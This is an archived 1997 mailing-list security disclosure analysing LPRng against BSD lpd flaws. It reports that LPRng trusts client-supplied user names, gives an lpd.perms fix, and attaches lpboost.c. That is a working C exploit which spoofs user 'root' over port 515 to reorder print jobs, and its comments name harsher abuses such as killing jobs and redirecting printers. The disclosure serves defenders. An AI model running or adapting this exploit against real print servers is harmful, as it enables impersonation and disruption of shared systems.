LPRng security

Aleph One (aleph1@DFW.NET)
Mon, 20 Oct 1997 19:48:38 -0500

This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime@docserver.cac.washington.edu for more info.

--Boundary_(ID_lJv73yPenPLfDTI3FNs6sw)
Content-id: <Pine.SUN.3.94.971020194800.9833G@dfw.dfw.net>
Content-type: TEXT/PLAIN; CHARSET=us-ascii

---------- Forwarded message ----------
Date: Mon, 20 Oct 1997 14:54:15 +0200
From: Olaf Kirch <okir@monad.swb.de>
To: linux-security@redhat.com
Subject: [linux-security] LPRng security

Hi all,

I just looked into LPRng to see to what extent it is affected by the
problems recently reported for the BSD lpd. It seems that it is fairly
safe from those mentioned in the SNI advisory.

> Problem 1: File creation
>
> Individuals with access to the line printer daemon from a privileged
> port on a valid print client can tell lpd to create a file, providing
> the name of the file, including directory names, is no longer than 5
> characters.

LPRng checks that data and control file names conform to the spool file
format: [cf]dNNNhostname, where hostname must contain only alphanumeric
characters or "-_.".

> Problem 2: File deletion
>
> Individuals with access to the line printer daemon from a privileged
> port on a valid print client can tell lpd to remove any file on the
> system.

When given the U option, lpd checks that it follows a data file
(e.g. f option), and that the names match.

> Problem 3: Remote execution
>
> Individuals with access to the line printer daemon from a privileged
> port on a valid print client can execute commands remotely as the
> user which lpd is running as. This vulnerability can allow
> interactive shell access to the remote system.

The LPRng lpd purges all meta characters (everything but alphanums
and "-_.@/:()=,+-% \t"), executes sendmail via execve, and does so
under the daemon uid. As a consequence, you're not allowed to specify
alternate config files etc.

The only glitch is that, as daemon is usually trusted by sendmail, you're
able to specify the sender address using the -f option (which makes it
the most painful way of address spoofing I've come across:-). Also,
LPRng permits only one M command per print job, so there's no way of
mailbombing.

There's a different security problem, at least in the default
configuration shipped by Caldera, which is that lpd doesn't check
for privileged ports by default, and blindly accepts any user name
the lpr client provides.

I'm including a small exploit to demonstrate this problem. It lets
Joe User move any print job to the top of the print queue. To test
it, it may be best to create a dummy printer, disable printing to it,
and create some print jobs (by different users). Note that while this
exploit is pretty harmless, other exploits (such as redirecting
printers or circumventing the accounting system) are not.

One way to fix that would be to restrict the the range of ports
from which clients are permitted to connect by putting the following
into /etc/lpd.perms (right before all other non-comment statements):

REJECT SERVICE=X NOT PORT=512-1023

and stop and restart the printer daemon.

Note that restricting the valid range of ports to 512-1023 also
stops FTP bounce attacks (bounce attacks don't apply if you install
the most recent wu-ftpd fix).

However, this fails miserably since all lp clients are installed
without suid root permissions (at least by Caldera). This seems to be a
design decision made by the author. OTOH he has put a lot of work into
the accounting stuff which is quite worthless if lpd can be spoofed
that easily.

Now, the lpr clients seem to work also with setuid enabled (and at first
glance, setuid privileges seem to be handled quite carefully). We're
currently looking into this. Anybody would like to share their experience
with making LPRng setuid root?

Cheers
Olaf

PS: Excercise to the reader:-) Problems like this can be solved using
the SCM_CREDENTIALS stuff in 2.1.x kernels. Lpr can authenticate itself
with the local lpd via a unix socket, and have lpd forward the job to
the remote printer using a privileged port. Any takers?

--
Olaf Kirch         |  --- o --- Nous sommes du soleil we love when we play
okir@monad.swb.de  |    / | \   sol.dhoop.naytheet.ah kin.ir.samse.qurax
okir@caldera.com   +-------------------- Why Not?! -----------------------

--Boundary_(ID_lJv73yPenPLfDTI3FNs6sw) Content-id: <Pine.SUN.3.94.971020194800.9833H@dfw.dfw.net> Content-type: TEXT/PLAIN; CHARSET=us-ascii Content-description: Print queue? What queue?

/* * lpboost.c * * Simple exploit to demonstrate problem with PLP/LPRng user * `authentication': boost your print job's priority by moving it * to the top of the queue. * * This is the most harmless exploit of this problem. More serious * ones include circumvention of the accounting system, killing other * users' jobs, shutting down printers, redirecting them, etc. * * Copyright (C) 1997, Olaf Kirch <okir@lst.de> */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <errno.h>

static int doconnect(char *hostname); static void dosend(int fd, unsigned char ch, char *string);

int main(int argc, char **argv) { char buffer[8192]; char hostbuf[256], *hostname = hostbuf; int fd;

if (argc == 4) { hostname = argv[3]; } else if (argc != 3) { fprintf(stderr, "usage: lpboost <printer> <job> [hostname]\n"); exit(1); } else { /* If lpd.perms allows queue manipulation only from * the local host (SERVER keyword), must use FQDN * rather than localhost (127.0.0.1) */ gethostname(hostbuf, sizeof(hostbuf)); }

if ((fd = doconnect(hostname)) < 0) { fprintf(stderr, "Failed to connect to %s: %s\n", hostname, strerror(errno)); exit(1); }

/* Assemble control message */ sprintf(buffer, "%s %s topq %s %s", argv[1], /* printer */ "root", /* user */ argv[1], /* printer */ argv[2]); /* job # */

/* Transmit control message and pick up status */ dosend(fd, 6, buffer);

exit (0); }

static int doconnect(char *hostname) { struct hostent *hp; struct sockaddr_in sin; int fd;

if (!(hp = gethostbyname(hostname))) { fprintf(stderr, "%s: unknown host\n", hostname); exit(1); }

memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr = *(struct in_addr *) hp->h_addr; sin.sin_port = htons(515);

if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { perror("socket"); exit(1); } if (connect(fd, (struct sockaddr *) &sin, sizeof(sin)) < 0) { perror("connect"); exit(1); }

return fd; }

static void dosend(int fd, unsigned char ch, char *string) { char buffer[256], cr = '\n'; int slen = string? strlen(string) : 0;

if (write(fd, &ch, 1) != 1 || (string && (write(fd, string, slen) != slen || write(fd, &cr, 1) != 1))) { perror("write"); exit(1); }

while ((slen = read(fd, buffer, sizeof(buffer)-1)) > 0) { buffer[slen] = '\0'; fprintf(stderr, "lpd: %s\n", buffer); } if (slen == 0 || errno == EPIPE) return; perror("read (errmsg)"); exit(1); }

--Boundary_(ID_lJv73yPenPLfDTI3FNs6sw)--